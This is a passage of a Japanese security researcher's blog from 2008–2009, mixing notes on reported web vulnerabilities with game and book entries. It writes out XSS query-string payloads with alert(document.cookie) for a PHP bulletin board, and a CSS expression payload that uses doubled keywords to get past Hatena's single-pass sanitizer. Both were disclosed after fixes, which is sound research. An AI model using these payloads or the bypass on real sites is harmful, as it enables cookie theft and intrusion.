この度は、10月21日（水）より開始いたしました課金サービスの一部不具合により、一部のユーザー様にご迷惑お掛けいたしましたことを、深くお詫び申し上げます。
「サンシャイン牧場」の課金サービスを開始いたしました10月21日（水）20:30から、10月23日（金）午前中まで、課金サービスをご利用いただいた一部ユーザー様において、誤課金、ご購入いただいたKコインが追加されない、及びユーザー様のメールアドレス・電話番号が第三者より取得可能な状況であった、といった不具合が発生いたしました。
課金サービスの不具合は、現在は解消しております。
今回の不具合の経緯は以下のとおりです。
- 10月21日（水）20:30 課金サービスを開始
課金決済サービスは、日本国内のクレジットカード決済代行会社を採用しております。- 10月23日（金）午前 弊社サーバーの課金システムにおいて不具合があることを発見し、課金サービスを停止
- 10月23日（金）午後 原因の究明及び対策の実施
弊社及びミクシィ社と、不具合について詳細な調査を行い、原因となるあらゆる可能性についてチェックを行い、対策を施し、不具合を解消いたしました。- 10月23日（金）22:00 課金サービスの再開
課金サービスの安全性が十分であることを確認したうえで、課金サービスを再開いたしました。
なお、この度の不具合の対象ユーザー様へは、以下の対応をさせていただいております。
- 誤課金につきましては、クレジットカード決済代行会社と協力し、対象ユーザー様へ返金の手続きを進めております。
- Kコインの追加漏れにつきましても、対象ユーザー様に対してKコインの追加を随時実施しております。
改めまして、この度はご迷惑をお掛けいたしましたことを、深くお詫び申し上げます。
「サンシャイン牧場」に関するご意見・ご質問がございましたら、「アプリの提供者に問い合わせる」<https://mixi.jp/inquiry_appli.pl?id=7157>よりご連絡いただけましたら幸いに存じます。
ユーザーの皆様が安心して楽しく「サンシャイン牧場」をご利用頂けますよう努めてまいりますので、今後もご愛顧賜りますよう、お願い申し上げます。
というわけで、問題は2つあったわけですね。
まあ、ともあれ、これで私が報告した件については一通りアナウンスされたということになりそうです。脆弱性関連情報としてはまだ取扱い中ですので、取扱い終了を待って技術的な所を公開したいと思っております。
※運営者がIPAに修正完了の連絡をしてから取扱い終了となりますので、いつ終了になるのかは何とも言えません。また、技術的には大して興味深い話にはならないと思いますので、過度な期待はしない方が良いと思います。
※以下、2009-11-03追記
「原因の究明及び対策の実施」の部分に文章が追加されていることに気付きました。
- 10月23日（金） 午後 原因の究明及び対策の実施
弊社及びミクシィ社と、不具合について詳細な調査を行い、原因となるあらゆる可能性についてチェックを行い、対策を施し、不具合を解消いたしました。なお今回のトラブルは弊社側のシステムに問題があったことで生じており、決済代行会社のゼロ社の決済システム自体に問題はなかったと認識しています。
決済代行会社側の問題ではなくRekoo側の問題であると明記されました。
※どのタイミングで追記されたのかは良く分かりませんが、私が追記に気付いたのは11月3日の時点です。
※2009-11-05追記: さらに追記があります :「サンシャイン牧場・Rekooからのアナウンスに追記」。
関連する話題: ゲーム / サンシャイン牧場 / セキュリティ / 情報セキュリティ早期警戒パートナーシップ
更新: 2009年10月25日1時50分頃
サンシャイン牧場の課金システムですが、昼過ぎにとりあえずフロントのインターフェイスが停止、夕方にバックのシステムが停止しており、しばらくこのままだろうな……と思っていたら、なんと復活しているではありませんか。
問題を抱えたままの復活かと思いきや、ちゃんと修正されている模様です。修正にはもっと時間がかかるかと思っていましたが、これは速い! 良い仕事だと思います。ありがとうございます。
※もっとも、正式な修正の報告はまだ受けていませんので、これで最終形なのかどうかはまだわかりません。
※2009-10-25追記: いちおう、mixiコミュニティ内にて運営側から修正のアナウンスが出ています: サンシャイン牧場・課金システム修正のアナウンス
※2009-10-31追記: さらに追加のアナウンスがありました: 「サンシャイン牧場・課金システムの問題についてのアナウンス」
関連する話題: ゲーム / サンシャイン牧場 / セキュリティ / 情報セキュリティ早期警戒パートナーシップ
更新: 2009年10月19日15時45分頃
「誤報是正「無罪判決でWinny利用者増加」は誤り (takagi-hiromitsu.jp)」。
内容より、観測システムの写真が興味深いと思ってしまいました。:-)
1.5TBのハードディスクがごろごろ、そして裸族 (たぶん、裸族のお立ち台DJ CROS2EU2 (www.amazon.co.jp)
※追記: 右側のケースも裸族でしたか……裸族の村 (www.amazon.co.jp)
関連する話題: 思ったこと
更新: 2009年10月11日18時20分頃
こんなお話が。
それを受けてこんなお話も。
まあ、もとより、修正する義務もないわけですしね。
ただ理由はどうあれ、結果として「対応しない」という事なのですから、その事実をふまえて判断しなければなりません。
先行バイトで巻き込むタイプのXSSは、HTMLの構造によっては成立しない場合も多いですし、そこを慎重に判断した上で「気にしない」という選択をするのであれば、それはそれで問題ないでしょう。
気にする人は、例えば、PHPを避けるという対応を選択することになって「残念」と感じるかも知れませんが、まあ、それはそれで仕方ないのではないでしょうか。
※2009-10-11追記: 結局、PHP側で対応されたようです……「htmlspecialcharsに関する素敵なお知らせ (d.hatena.ne.jp)」。
更新: 2009年9月22日12時35分頃
ドラクエ9 (www.amazon.co.jp)
というわけで、ドルマゲスをレベル99まで上げてみました。行動はこんな感じ。
で、1ターン3回行動です。これはひどい。痛恨の一撃がないのが救いです。
私が挑んだときのパーティーは賢者・僧侶・バトルマスター×2で、行動はこんな感じ。
実にシンプルですが、ドルマゲスの攻撃がきついので、僧侶は毎ターンベホマズンを強いられます。ベホマズンがあれば安定、と言いたいところですがフェザースコール+マヒャデドス+打撃が来るとHP840のバトルマスターも1ターンで死亡しますし、ドルマゲスは素早いので僧侶より先に行動されてしまうことがあります (ちなみに僧侶はガルーダの爪+ファントムマスク+武闘家の証で素早さ強化済み)。超おたけびで僧侶が行動不能になってもアウトです。凍てつく波動を連発されると戦闘が長引き、僧侶のMPが尽きることもあります (ベホマズンの消費MPは128、賢者スキルで軽減しても96)。
というわけで運頼みの戦いになりますが、まあなんとか撃破。初回撃破時は凍てつく波動を連発されて8ターンもかかりましたが、再挑戦では4ターン撃破。テンションバーンを使用しているので、運良くスーパーハイテンションになれればもっと短いターンで撃破できるかと思います。
※賢者はザオリク要員というより「好きだから」入れているだけなので、僧侶2人にして世界樹の葉で蘇生した方が安定すると思います。あと、パラディンを入れて必殺技「パラディンガード」を使うようにすると楽かも。
更新: 2009年7月19日13時35分頃
ドラゴンクエスト9 星空の守り人 (www.amazon.co.jp)
一応クリアしたとはいえ、まだ行っていないところがたくさんありますし、取っていない職業もあります。クリア後の要素もかなりたくさんあるようで。
※2009-07-19追記: ラストダンジョンは再突入可能でした。
※2009-07-19追記: 再会可能でした。
以下、一通りプレイした感想。
ストーリーは、ちょっとボリュームが少ないかもしれません。私は寄り道プレイ派なので時間がかかりましたが、まっすぐにクリアを目指せば20時間くらいで終わってしまうのではないでしょうか。短くてもストーリーが盛り上がれば良いのですが、正直、そこまで盛り上がるストーリーではないようにも思います。あと、細かいところですが仲間の扱いが微妙すぎ。天の箱船は普通の人間には見えないという設定なので、仲間は乗り込めないはずなのですが……箱船から下りると、何故か仲間もついてきているとか。
……などと書くとつまらなそうに思えるかもしれませんが、マルチプレイが非常に楽しいです。このゲームの本領はマルチプレイにあると言っても過言ではないでしょう。やっぱり、ゲームってみんなで集まってわいわい言いながら遊ぶのが楽しいのだと思いますね。「「ドラクエ休暇」取る人続出!? (www.itmedia.co.jp)」なんて話も出ていましたが、出社して会社でみんなでプレイする方が楽しいですよ。
マルチプレイをしている人としていない人とで、本作に対する評価は大きく分かれそうですね。
更新: 2009年7月10日2時20分頃
街へいこうよ どうぶつの森 (www.amazon.co.jp)
※まあ、そもそもサソリは6月には出現しませんが。
サソリ・タランチュラの捕獲にはコツがいりますが、せっかくなのでメモしておきます。まずは基本的な事項から。
問題はこちらに気づいた後の行動で、以下のようになります。
刺されてしまうと、その場に昏倒して画面が暗転し、家の前からの再スタートとなります。
※これ、一機減っているのではないかと思いますが。:-) 残機という概念はないので、特にペナルティはありません。
さて、捕獲のコツ。
これでOKですが、「気づかれずに」というのが難しいです。相手に気づかれたときにどうするか。選択肢は2つあります。
ところで、今作の村には崖があります。サソリが崖の下にいるとき、網を装備すると突進してきますが、サソリは崖を登れませんので、崖のところで止まります。そのままゆっくりと段差の少ないところまで移動すると、サソリは上ってこられないけれども網は届く、という状態になりますので、安全に捕獲できます。崖を活用しましょう。
タランチュラにも同じ方法は使える……のですが、タランチュラはたまにジャンプしますので気をつけてください。安全な場所で一度ジャンプさせてから素早く行動するか、少し崖から離れてこちらを見失うのを待つか。
関連する話題: ゲーム / Wii / 任天堂 / どうぶつの森 / 街へいこうよ どうぶつの森
更新: 2009年6月30日18時30分頃
そういえば公開されていました。
これはひたすら良くあるXSSで、クエリ文字列にいろいろ入れると残念なことになります。届出に記載していたのはこんな3パターン。
tree.php?all=%3cscript%3ealert%28document.cookie%29%3c%2fscript%3e
tree.php?mode=root&page=%27%3e%3cscript%3ealert%28document.cookie%29%3c%2fscript%3e
tree.php?n=%27%3e%3cscript%3ealert%28document.cookie%29%3c%2fscript%3e
Googleで検索してみるとかなりの数ヒットするので、けっこう使われている気がします。気がついた人は管理者に「更新してね」と言ってあげましょう。
※「JVN#32788272 レッツPHP! 製 PHP-I-BOARD におけるディレクトリトラバーサルの脆弱性 (jvn.jp)」というものも公開されていますが、これは別の方が届け出られたもので、別件です。たまたま同時期に届け出られて一緒に対応されたのだと思います。
関連する話題: セキュリティ / IPA / JVN / 情報セキュリティ早期警戒パートナーシップ
更新: 2009年6月30日0時20分頃
2009年度 IPA情報セキュリティセミナー (www.ipa.go.jp)開催。本当はマネジメントコースに参加したかったのですが、プレスリリースが出て間もないはずなのに受付終了していて断念、技術コースに出てみました。
※実はこれ、参加無料の上に、タダで情報セキュリティ白書2009 (www.amazon.co.jp)
以下、私が気になったポイントをメモ。あくまで私のメモなので、本筋の部分はあまりメモしていません。
※2009-06-30 追記: ここは私のメモの間違いで、「IEEE802.11 では、WPA2で“パスフレーズ”を設定する場合は最低でも20文字にする」が正解とのことです。コメント参照。
※SQLインジェクションのサンプルが微妙かも。本来、攻撃者は 'john' を知る必要がないはずなので。XSSの説明も分かりにくいかも。検索サイトでCookieが盗まれて何が起きるのかと。
更新: 2009年6月1日17時0分頃
「「10大脅威 攻撃手法の『多様化』が進む」を公開 (www.ipa.go.jp)」ということで公開されたようです。みなさんおつかれさまでした。
※26ページ辺りに名前出させていただいております。
ちなみに今年からちょっとフォーマットが変わっていて、「組織への脅威」「利用者への脅威」「システム管理者・開発者への脅威」が別々に掲載されるようになりました。
情報セキュリティ白書2009自体はもう少し先になるようです。
※2009-06-01追記: 出ました……情報セキュリティ白書2009。
更新: 2009年6月1日12時7分頃
「NoScript」をやめて「RequestPolicy」にした (takagi-hiromitsu.jp)。見出しはFirefox拡張機能の話に見えますが、話の内容としては「スクリプト無効は万人にオススメできるのか?」という話ですね。
ある脆弱性が発見されてパッチがまだ出ていないときに、回避策としてJavaScriptのオフが紹介されることがよくあるが、それはその脆弱性についての回避策（の一つ）であって解決策ではない。そこを混同させて語るのはやめてもらいたい。
確かによくありますね。IPAの「ブラウザ（Internet Explorer等）のセキュリティ設定をする (www.ipa.go.jp)」も無効にする方法を説明していますし、ITProのセキュリティ検定も「スクリプト無効で攻撃が防げる」などと言っていました。
しかし実際のところ、スクリプト無効でのブラウザの運用は大変です。スクリプト無効で残念なことになるサイトは多く、そういうサイトでどうしたら良いのか、きちんと分かっていなければ困るはずです。
もっとも、スクリプト必須のサイトでは、スクリプトを有効にするための設定方法を説明してくれていることが多いでしょう。ですから、サイトの説明に従えば問題ない……と言いたいところですが、その説明に問題があることも多いので困ります。うっかり説明に従うと、インターネットゾーンで「スクリプトによる貼り付け処理」なんかを有効にさせられて、初期状態よりセキュリティが弱くなってしまうことになりかねません。
分かっている人が自分の意思でスクリプトを無効にする分には問題ないと思いますが、誰にでもオススメできるものではないと思うのですよね。
※ちなみに、かく言う私は普段スクリプトもActiveXも無効にしていて、真っ白だと文句を言う係です。会社に一人はこういう人がいた方が良いと思うので。
更新: 2009年5月31日23時55分頃
「JPCERT/CC、技術メモ「安全なWebブラウザの使い方」を公開 (internet.watch.impress.co.jp)」。JPCERT/CC 技術メモ (www.jpcert.or.jp)でPDFがダウンロードできます。
これはすばらしい良書ですね。なぜなら、「Netscapeを使うな」という主旨のことが書いてあるからです。名指しでないのが残念ですが。:-)
それはそれとして、すこし気になった点をいくつかメモしておきます。
8ページ目。
SSL 2.0 には実装上の脆弱性があります。SSL 2.0 のみでしか利用できない Web ページはほとんど存在せず、またサポートしている暗号のアルゴリズムも古いため、ブラウザの設定で無効化して使わないようにすべきです。
実装上の脆弱性なら、脆弱でないように実装すれば良いだけのように思えますが……。
実際には、これは仕様上の制限だと思うのですが、どうなのでしょうか。中間者が暗号強度をダウングレードする攻撃が有名ですが、SSL2.0の仕様にしたがって実装する限り、これを避けることはできないのではないかと思いますが……。
※参考: SSL 2.0 と輸出強度暗号 (www.oiwa.jp)
それから9ページ。
この章では、前章で述べた注意事項に対応する、個々の Web ブラウザでの具体的な設定方法を、主なWebブラウザについて説明していきます。
と言いながら、
[ツール]→[インターネットオプション]→[セキュリティ]→[Web コンテンツのゾーン*を選択してセキュリティのレベルを設定する] →[インターネット] / [イントラネット]/ [信頼済みサイト]/ [制限付きサイト]を選択 →[既定のレベル]を選択する、もしくは[レベルのカスタマイズ]で各種スクリプトごとにゾーンごとの信頼度に応じて有効/無効/確認を求める等を選択する →場合によって[信頼済みサイト]/ [制限サイト]のそれぞれのゾーンごとに、Web サイトの信頼度に応じて、URLを[追加]/[削除]する
「場合によって」「信頼度に応じて」って……どのあたりが具体的なのでしょうか。どのゾーンにどのセキュリティレベルを適用すれば良いのか、具体的にわからないと設定できないと思います。
また、デフォルトでスクリプト無効にしましょう、という旨のことは書かれているのですが、有効にしたいときにどういう運用をすれば良いのか分かりません。信頼済みサイトゾーンを利用する想定なのであれば、信頼済みサイトゾーンのセキュリティレベルを「低」のままにしないように注意する必要があるでしょう。
※この作者はIEを使っていないのかもしれないなぁと思ったり。Firefoxの設定はけっこう充実しています。
※2009-05-31追記: スクリプトを無効にして運用するのは大変なので、普通の人にはあまりオススメしたくないですね。「スクリプト無効は万人にオススメできるのか」参照。
22ページ。
不特定多数によって書き込みが行われる掲示板・ブログ等の Web サイトでは、極力リンクをクリックしない方がよいでしょう。どうしてもリンク先にアクセスしたい場合は、リンクをクリックする前に、カーソルをリンクの上に移動し、ステータスバーなどでアクセスしようとしている URL を確認し、信頼できるドメインかどうかを十分に吟味した上でクリックして下さい。
(～中略～)
表示と参照先URLが異なる、単純な HTML 上の表示の偽装への対策は、上記②の対策で紹介したステータスバーなどによる確認が良いでしょう。しかし、一部 Web サイトでは JavaScript 等によってステータスバーに表示される URL を置き換えている場合があります。これを防ぐにはスクリプトの実行を一旦制限した上で URL を確認する必要があります。
そこで攻撃者はリダイレクタを悪用するわけですね。:-)
アクセス前にリンク先のURLを確認する、という手法には限界がありますし、これを素直に実践すると、リンクをクリックするたびに「スクリプト無効にする→URLを確認する→クリック」としなければならないのですが、それは現実的なのでしょうか。「悪意あるサイトにアクセスしないように気をつける」というより、「既に悪意あるサイトにアクセスしているかもしれないという前提で行動する」という方が良いようにも思いますが。
これに関連して、24ページ。
HTTPS による暗号化通信が行われている Web ページでは、SSL サーバ証明書に問題がないことを確認することが重要です。Web ブラウザは証明書の検証を自動で行い、失敗した場合には警告を表示します。警告が表示された場合には、速やかにそのWeb ページの閲覧を中止してください
これはまあ良いのですが、そもそもHTTPSによる暗号化通信が行われていないサイトに入力フォームがあった場合にはどうしたら良いのでしょうか。HTTPSのときだけ気をつけて、HTTPSでないページでパスワードや個人情報を入力してしまったら意味がないような気がしますが、それはどこにも書かれていないのですよね。
※まあ、事情があって書けなかったのかもしれませんが。:-)
関連する話題: セキュリティ / Web / Internet Explorer / Firefox / JPCERT/CC
更新: 2009年5月27日0時25分頃
読み終わったのでメモ。
書店ミステリ? 読者の知らない情報がないと結論を導き出せないパターンが多く、推理ものとしてはややアンフェアな感じもありますが、面白いからいいかなと。実在する本の話がたくさん出てくるのも良いですね。以下、一口メモ。
謎の暗号。いやー、これは何のことかすぐに分かりますよね? 何故分からないのかと、やきもきしてしまったり。しかし、意味が分かってもそれだけでは解読できないのであった……。
以下、ネタバレ気味ですが出てきた本をメモしておきます。
これも、意味は分かるけれど情報不足で結論にたどり着けないタイプの話。最後の展開はちょっとびっくり。
表題作。これは面白い話ですが、やや腑に落ちない点も。まず、被害者の行動。人に見られたくない写真なのでしょうに、騒いだら見せざるを得なくなる……というか実際見せていると思うのですが、普通なら平気で見せられる写真ではないように思うわけでして、この辺りの心理がよく分かりません。あと、犯人の行動。べつに人を殺すほどの事じゃないですよね。
とはいえ、話としてはいちばん面白く、楽しめました。
出てきた本。
……全敗ですよ。orz
「トロピカル」は架空のコミックでしょうが「ワンピース」がモデル? これも微妙に動機が理解しがたい話。ふつうに言えばいいのに。
※このすぐ下にいっぱい画像が出そうな予感。:-)
更新: 2009年5月22日14時10分頃
読み終わったのでメモ。
強いなぁ、と思いました。頼ることができる友人、家族あるいは親がいるというだけでも奇跡のような幸福だと思いますが、その人たちがみんなそれぞれ強くて、輝いている感じ。
あと、章をまたがるときの人から人にバトンタッチされて行く感じが良いですね。
名作だと思いますがミステリではないので、ミステリを期待して買った人は残念な思いをするかも知れません。
※それにしても、「月の砂漠をさばさばと (www.amazon.co.jp)
更新: 2009年5月15日19時0分頃
こんなログが。
2003-06-24 05:51:47 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:51:47 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:51:47 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:51:47 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:51:47 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:51:47 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:56:52 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:56:52 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:56:52 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:56:52 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
取りに来るのは良いのですが、同じリソースを何度もゼロ間隔でというのはちょっと。たぶんアンテナに登録しているユーザの数だけリクエストしているのだろうと思いますが、一回にまとまらないのかしら。
応答のステータスが全部 416 になっていますが、これはサイズ 0 のリソースに Range つきリクエストをしているためです。サイズ 0 でも 0バイト目から取得すれば 200 なり 204 なり 206 なりになるのでは、などと思うかもしれませんが、実は Range の範囲は 1バイト目からのオフセットなのです。たとえば、次のようなフィールドを含む GET リクエストを送ったとします。
Range: bytes=0-0
範囲が 0～0 なので空文字列が得られる……なんてことにはならなくて、これは最初の一文字を得る結果になります。
※206 応答ができるサーバならば、ですが。Range 指定があっても 200 で応答して内容全部を送ってくるサーバもあり得ます。
そんなわけで、もともとのサイズが 0 であれば Range つきリクエストは必ず 416 になってしまいます。これは IIS だけでなく、Apache でもやはりそうなります。仕様的にも正しいのですが、サイズ 0 だったら 204 で応答してくれたほうが嬉しいような気もしますね……。
※2009-05-15追記: 現在ではrobots.txtへのリクエストには204(No Content)で応答するようにしています。
更新: 2009年5月15日19時0分頃
HTTP のステータスコード 416 は "Requested Range Not Satisfiable" です。名前の通り、Range つきのリクエストに対して指定された Range が存在しない時に発生するのですが、そもそも Range つきのリクエスト自体が
が、今日、Hatena Antenna/0.4 というエージェントが 416 を喰らっているのを発見。 /robots.txt を GET しようとして 416 になっていますが、何を隠そう /robots.txt は空のファイルで、Content-Length が 0 ですから Range つきリクエストなんて失敗するに決まっています。416 になっていること自体は不思議でも何でもありませんが、むしろどうして /robots.txt に Range つきのリクエストをしているのかが気になります。
なんでだなんでだろー。
※というか、空なら 200 OK じゃなくて 204 No Content で応答した方が良いという話なのかも……。
※2009-05-15追記: 続きあります。「416対策」。
関連する話題: 出来事 / メモ / HTTP / UA / httpd / IIS / サーバ / altba.com
更新: 2009年5月15日19時0分頃
「416 Requested Range Not Satisfiable」で書きましたが、Hatena Antenna は相変わらず 416 を喰らい続けている模様。実害はないのですが、ログに残るのが鬱陶しいったらありゃしません。robots.txt は読んでいるのでしょうから、ためしに /robots.txt に
User-agent: Hatena Antenna
Disallow: /bakera/robots.txt
Disallow: /bakera/hatomaru.aspx/robots.txt
Disallow: /bakera/hatomaru.aspx/ebi/robots.txt
こう書いてみました。なんかものすごく本末転倒な気がしますが、効果あるのでしょうか。
※たぶん効果ないと思いますが、まあものは試しということで。
※2009-05-15追記: 続きあります。「とりまとめてください」。
更新: 2009年3月31日10時25分頃
はてなブックマークのスタイルシートに
*{color:expression(alert(document.cookie))}
と書くと、「危険な文字」とみなされた "expression" と "cookie" がサニタイズされて以下のようになります。
*{color:(alert(document.))}
この手のサニタイズでありがちな罠として、削除対象の文字列を一度しか走査しないで済ませてしまっている場合があります。たとえば、以下のように書いたとき、
*{color:eexpressionxpression(alert(document.ccookieookie))}
削除のための走査を一度だけで済ませていると、expression と cookie が一度ずつ取り除かれて以下のようになります。
*{color:expression(alert(document.cookie))}
というわけで、こんな感じで貫通してしまう場合があるのです。実際、はてなでは今日の20時頃まではこのパターンで貫通していましたが、現在では修正済みです。
※全角の「ｅｘｐｒｅｓｓｉｏｎ」が貫通していた件も一緒に修正されたようです。
関連する話題: セキュリティ / クロスサイトスクリプティング脆弱性
更新: 2009年2月25日23時43分頃
街へいこうよ どうぶつの森 (www.amazon.co.jp)
起動すると村に謎の紙吹雪が舞っており、カーニバルなのですよ……。
基本的には、クジャクのベルリーナがひたすら踊るイベントです。
で、カーニバルシリーズの家具がもらえます。住人とゲームで勝負→勝つとアメをもらえる→特定の色のアメを3つ集めてベルリーナに渡す→家具ゲット、となるのですが。
この家具がまたランダムなので、かぶることかぶること。数時間かけて40個近くゲットしたのですが、結局、「カーニバルテーブルL」が一つもゲットできずにコンプリートは断念。カーニバルの床7つとか要らないし! (しかも床は売っても1800ベルと安い)
……っていうかですね、住人とのゲームがつまらないんですよ! ハッキリ言って苦痛なんですよ! ゲームと言ってもジャンケンとかコイン当てとかで、選択肢ランダムなのです。それを数回ならともかく、100回以上ですよ? まあ、結局、ボタン連打になりますわな。
※というか、100回以上やってもコンプリートできない仕様がおかしいというか、ゆきだるまシリーズのようにカタログにないやつから優先的に渡してくれればいいのに……。
関連する話題: ゲーム / Wii / 任天堂 / どうぶつの森 / 街へいこうよ どうぶつの森
更新: 2009年2月25日11時15分頃
第4回まっちゃ445に参加してみたので、まずはライトニングトークをざっとメモ。
MD5な証明書の話。
今日は漢字の人。ひらがなは攻撃者モード?
MS DreamSparkの話。
MSはなにげにブラウザ+OSのVMイメージも配布しているそうな。これは便利かも。
振り込め詐欺の話。
ULCPCでMacOSXを動かす話。
更新: 2009年1月23日23時15分頃
街へいこうよ どうぶつの森 (www.amazon.co.jp)
「おうかん」が売りに出されていましたよ。
お値段120万ベル。
迷わず購入で。
関連する話題: ゲーム / Wii / 任天堂 / どうぶつの森 / 街へいこうよ どうぶつの森
更新: 2009年1月6日1時40分頃
おやまあ。
まとめサイトなどもできていたりするようですが……。「ファイル交換ソフト」は具体的にはWinnyらしいですね。IPA内部でWinnyが使われていた訳ではなくて、自宅で私物PCが感染してしまった模様。
※昔聞いた話ではIPA内部ではWinnyは完全にNGで、JVN#74294680 (Winny におけるバッファオーバーフローの脆弱性) (jvn.jp)の検証を行うことさえ許されなかったらしいです。今どうなのかは分かりませんが、少なくとも無条件に許可されていたりはしないでしょう。
※2009-01-06追記: WinnyではなくShareらしいという話もあるようです。「おそらくShare」 IPA職員が情報流出に使ったファイル交換ソフト (japan.cnet.com)
IPAの発表によると、
これにより、当該職員に関わる個人情報等や一部の公開画像が流出したと見られます。他方、これまでの調査では、当機構の業務関連の非公開情報は含まれておりませんが、さらに確認を行っているところです。
以上、IPA職員の私物パソコンによる情報流出について より
とのことで、IPAの業務に関する情報が漏洩したという話はないようです。とりあえず安心。
更新: 2008年12月26日16時30分頃
「靖国神社サイトが改ざん (www.itmedia.co.jp)」だそうで。
うーむ。今日、某所で「今年はIPAで脆弱性を取り扱ったサイトがやられちゃったりした」という話が出ていて、それはアイリスプラザの件だろうと思っていたわけですが。まさか、帰ってきたらこんな事が起きているとは。
靖国神社のサイトに関しては、2005年7月25日にXSSを1件、2006年8月15日にXSSを2件とSQLインジェクションを1件、届け出ているわけですよ。届け出たSQLインジェクションについては2006年8月23日に修正完了しているのですが、別の場所にもあってそこがやられたとか? ……いや、しかし、SQLインジェクションが原因と決まったわけではないので、「IPAからの指摘を教訓に出来なかった」と決めつけるのは早いですね。この手の改竄だと、SQLインジェクションとは関係ない可能性の方が高そうな気がしますし。
※まあ、いずれにしても、IPAから「脆弱なんだから気をつけてね」と複数回言われていたことは間違いないわけで、それがやられてしまったのは残念ではありますね。
※2008-12-26追記: その後、システムリプレースされている模様です。: 靖国神社の改竄話つづき
関連する話題: セキュリティ / SQLインジェクション / 情報セキュリティ早期警戒パートナーシップ
更新: 2008年12月26日2時25分頃
「Chromeはなぜ速いのか (www.atmarkit.co.jp)」。
DNSプリフェッチは、表示されているページ中のリンクだけでなく、起動時のスタートページに関しても行うほか、ユーザーがURLや検索文字列をタイプしている最中でも行っているという。サジェスト機能でどこかのWebページを提示した場合にもプリフェッチをしているという。ユーザーがリターンキーを押すよりも先に、すでにWebブラウザはユーザーが次に訪れそうなドメインのIPアドレスを取得済みというわけだ。
インクリメンタルな感じで名前解決しちゃう話ですね。「DNSプリフェッチ」と呼んでいるようで。
しかしこれ、DNSサーバを管理する側は困らないのですかね。
昔、プリフェッチャというのが結構流行っていた時代がありましたが、HTTPのプリフェッチの場合、行儀の悪いプリフェッチャはUser-Agentを見て蹴ったりできたわけです。しかしDNSクエリにはUser-Agentなんてものは無く……。
※とは言っても、大変なのはChromeを使っている人が使っているDNSキャッシュサーバであって、DNSコンテンツサーバにはそんなに影響がないような気もするので、実はそんなに困らないのかも。
※2008-12-26追記: セキュリティホールmemoのこじまさんのコメント (www.st.ryukoku.ac.jp)によると、「ふつうの ISP の DNS キャッシュサーバは、ふつうの人が思っているほどの性能の余裕はないみたい」だそうです。コメントありがとうございます。
関連する話題: DNS / Google Chrome
更新: 2008年12月3日15時55分頃
JVNで以下の情報が公開されました。
この情報公開に伴い、過去の日記に対して追記・修正を行いました。
MT4.22 にこの修正が含まれているようですね。
※2008-12-03追記: しかし、実はこの修正は不完全で、まだ脆弱性が残っていました。MT4.23でさらに修正されています。たぶん関連: 「なかなか直らないMovable TypeのXSS脆弱性の訳 (rryu.sakura.ne.jp)」。
※……また別途追記するかも。
関連する話題: Web / セキュリティ / IPA / JPCERT/CC / 情報セキュリティ早期警戒パートナーシップ / Movable Type
更新: 2008年12月3日2時10分頃
「はてなブックマークの新しい登録ブックマークレットは危険 (slashdot.jp)」。クロスドメインの疑似ダイアログ話ですが、興味深いお話が。
Operaはポップアップウインドウでも、ウインドウ内の一部をクリックするだけでアドレスバーが表示できたりします。
以上、一方Operaは(激しくオフトピ) より
この話はポップアップではありませんし単純なiframeでもないのですが、とりあえずのブラウザ側の対応として、「クロスドメインのiframeには無理矢理アドレスバーを表示する」という処理があっても良いのかもしれないと思いました。
もっとも、iframeを使わずにブックマークレットのJSでform要素をいきなり動的生成することも可能で、そのような場合には対応できませんが……。
あと、表示の仕方が問題ですね。Webページ側で偽装されないようにする必要があるので、いわゆるchrome領域に表示するとなると……iframeの数だけアドレスバー増殖? やってやれないことはないようにも思いますが、大変なことになりそうですね。
※いずれにしても、そんな実装をすると隠しiframeで非同期通信する技を使っているサイトが大変みっともないことになり、結構困るかも。
※2008-12-03追記: そもそもブックマークレットでiframeが追加されること自体イレギュラーですから、「ブックマークレットによって追加されたiframeのドメインを確認できる機能」なんてのは必要ないのではないか、と言われればその通りだと思います。ブラウザが今後このような備えていくべきだ……というような意気込みはなく、こんな機能があっても面白いのではないか、という程度の話です。
更新: 2008年11月19日20時10分頃
神戸デジタル・ラボの「セルフチェックかんたん5」は試すな危険 (d.hatena.ne.jp)。
ところが、同じチェックシートの『チェック3「内部データをのぞき見されているかもしれない」チェック』は、益は少しあるかもしれないが、それ以上に予期しないトラブル、具体的にはデータベースの破壊を招きかねないという点で、けっして「かんたん」というものではない。
(～中略～)
SQLインジェクションの検査は、専門家がやっても時としてデータベースを破壊しかねないものであるので、診断に先立って必ず免責事項を取り交わす。そのような危険を伴う診断行為を一般ユーザに試させるのであれば、まずは安全第一の検査パターンを紹介した上で、診断に伴う危険性を十分に告知することが検査会社としての責務であると考える。
これ、個人的に恐怖体験があります。
「JVN#92832583 Advance-Flow におけるクロスサイトスクリプティングの脆弱性 (jvn.jp)」というのがありますが、私がこれを発見したとき、同時にSQLインジェクションを思わせるエラーメッセージが出ることも発見していました。で、社内で報告してテスト環境で検証したりとかいろいろしていたのですが、テスト環境のデータが全滅……。DELETE文を発行するようなことは一切していないはずですし、何故消えたのかよく分かりませんでしたが、ともあれテストパターンのいずれかで全滅したのは間違いないものと思います。内部で複雑なSQL文を発行していると、予想外のことが起きたりするようです。
